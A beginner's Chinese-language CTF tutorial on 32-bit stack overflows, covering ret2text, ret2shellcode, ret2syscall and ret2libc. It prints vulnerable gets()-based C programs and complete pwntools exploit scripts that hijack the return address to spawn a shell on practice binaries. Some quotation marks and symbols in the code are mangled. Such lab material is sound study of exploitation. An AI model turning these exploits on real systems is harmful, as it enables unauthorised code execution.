PWN菜雞入門之棧溢出(1)
一、基本概念:
-
函數調用棧情況見鏈接
-
基本準備:
bss段可執行檢測:
?
gef? b main Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8. gef? r Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode gef? vmmap
-
ROPgadget
ROPgadget --binary rop --only ‘pop|ret
-
系統調用
Linux系統中通過軟中斷0x80調用實現控制權轉移給內核,內容執行完成後返回結果。所有系統調用在linux內核的源文件目錄"arch/x86/kernel"中的各種文件中定義,具體建本文最後一部分的列表。
二、ret2text
ret2text其實就是調用程序中text中已經存在的shell
三、ret2shellcode
ret2shellcode,即控制程序執行 shellcode 代碼。shellcode 指的是用於完成某個功能的匯編代碼,常見的功能主要是獲取目標系統的 shell。一般來說,shellcode 需要我們自己填充。這其實是另外一種典型的利用方法,即此時我們需要自己去填充一些可執行的代碼。
PAYLOAD形式:padding1 + address of shellcode + padding2 + shellcode
實例:
int __cdecl main(int argc, const char **argv, const char**envp) { int v4; // [sp+1Ch] [bp-64h]@1 ? setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("No system for you this time !!!"); gets((char *)&v4); strncpy(buf2, (const char *)&v4, 0x64u); printf("bye bye ~"); return 0; }
shellcode
解析:先將shellcode寫進v4,再溢出v4到返回地址,然後將返回地址覆蓋成buf2
#!/usr/bin/env python from pwn import * ? sh = process(‘./ret2shellcode‘) shellcode = asm(shellcraft.sh()) buf2_addr = 0x804a080 ? sh.sendline(shellcode.ljust(112, ‘A‘) + p32(buf2_addr)) sh.interactive() ?
四、ret2syscall
ret2syscall,即控制程序執行系統調用,獲取 shell。
由於我們不能直接利用程序中的某一段代碼或者自己填寫代碼來獲得 shell,所以我們利用程序中的 gadgets 來獲得 shell,而對應的 shell 獲取則是利用系統調用。簡單地說,只要我們把對應獲取 shell 的系統調用的參數放到對應的寄存器中,那麽我們在執行 int 0x80 就可執行對應的系統調用。
32位:拿execve()來舉例
-
系統調用號,即 eax 應該為 0xb
-
第一個參數,即 ebx 應該指向 /bin/sh 的地址,其實執行 sh 的地址也可以。
-
第二個參數,即 ecx 應該為 0
-
第三個參數,即 edx 應該為 0
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("This time, no system() and NO SHELLCODE!!!"); puts("What do you plan to do?"); gets(&v4); return 0; }
找到相應寄存器地址,其中0xb為execve系統調用地址
#!/usr/bin/env python from pwn import * ? sh = process(‘./rop‘) ? pop_eax_ret = 0x080bb196 pop_edx_ecx_ebx_ret = 0x0806eb90 int_0x80 = 0x08049421 binsh = 0x80be408 payload = flat( [‘A‘ * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80]) sh.sendline(payload) sh.interactive()
五、ret2libc
ret2libc 即控制函數的執行 libc 中的函數,通常是返回至某個函數的 plt 處或者函數的具體位置 (即函數對應的 got 表項的內容)。一般情況下,我們會選擇執行 system("/bin/sh"),故而此時我們需要知道 system 函數的地址。
payload: padding1 + address of system() + padding2 + address of “/bin/sh”
padding1 處的數據可以隨意填充(註意不要包含 “\x00” ,否則向程序傳入溢出數據時會造成截斷),長度應該剛好覆蓋函數的基地址。
address of system() 是 system() 在內存中的地址,用來覆蓋返回地址。
padding2 處的數據長度為4(32位機),對應調用 system() 時的返回地址。因為我們在這裏只需要打開 shell 就可以,並不關心從 shell 退出之後的行為,所以 padding2 的內容可以隨意填充。
address of “/bin/sh” 是字符串 “/bin/sh” 在內存中的地址,作為傳給 system() 的參數。
實例:
1).ret2libc1
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 ? setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("RET2LIBC >_<"); gets((char *)&v4); return 0; } ?
exp:
from pwn import * ? sh = process(‘./ret2libc1‘) ? binsh_addr = 0x8048720 system_plt = 0x08048460 payload = flat([‘a‘ * 112, system_plt, ‘b‘ * 4, binsh_addr]) sh.sendline(payload) ? sh.interactive()
2).ret2libc2
開啟了堆棧不可執行保護
1、構造 payload
第一部分:
‘a‘ * 112 + gets_plt + ret_addr + buf_addr
這裏需要思考兩點,第一點就是 buf 地址,我們的 “/bin/sh” 應該放在哪裏,通常我們會選擇 .bss (存儲未初始化全局變量) 段,IDA 查看 .bss 段發現程序給出了 buf2[100]數組,正好就可以使用這塊區域。
現在考慮返回地址,因為在 gets() 函數完成後需要調用 system() 函數需要保持堆棧平衡,所以在調用完 gets() 函數後提升堆棧,這就需要 add esp, 4 這樣的指令但是程序中並沒有這樣的指令。更換思路,通過使用 pop xxx 指令也可以完成同樣的功能,在程序中找到了 pop ebx,ret 指令。
第二部分:
這部分就與上一題一樣,
system_plt + ret_addr + buf_addr
還有另外一種 payload 更簡潔情況:
在 gets() 函數調用完後,在返回地址處覆蓋上 system() 的地址將 gets() 函數的參數 buf 地址當成返回地址,再在後面加上 system() 函數的參數 buf。
’a‘ * 112 + gets_plt + system_plt + buf_addr + buf_addr
2、編寫 exp
from pwn import * ? #context.log_level = ‘debug‘ ? sh = process(‘./ret2libc2‘) ? elf = ELF(‘ret2libc2‘) ? def pwn(sh, payload): sh.recvuntil(‘?‘) sh.sendline(payload) sh.sendline(‘/bin/sh‘)#這裏將 /bin/sh 傳入 buf 中 sh.interactive() ? buf = elf.symbols[‘buf2‘] gets_plt = elf.plt[‘gets‘] system_plt = elf.plt[‘system‘] pop_ebx_ret = 0x0804843d ret_addr = 0xdeadbeef ? #payload = ‘a‘ * 112 + p32(gets_plt) + p32(pop_ebx_ret) + p32(buf) + p32(system_plt) + p32(ret_addr) + p32(buf) payload = ‘a‘ * 112 + p32(gets_plt) + p32(system_plt) + p32(buf) + p32(buf) pwn(sh, payload)
PWN菜雞入門之棧溢出(1)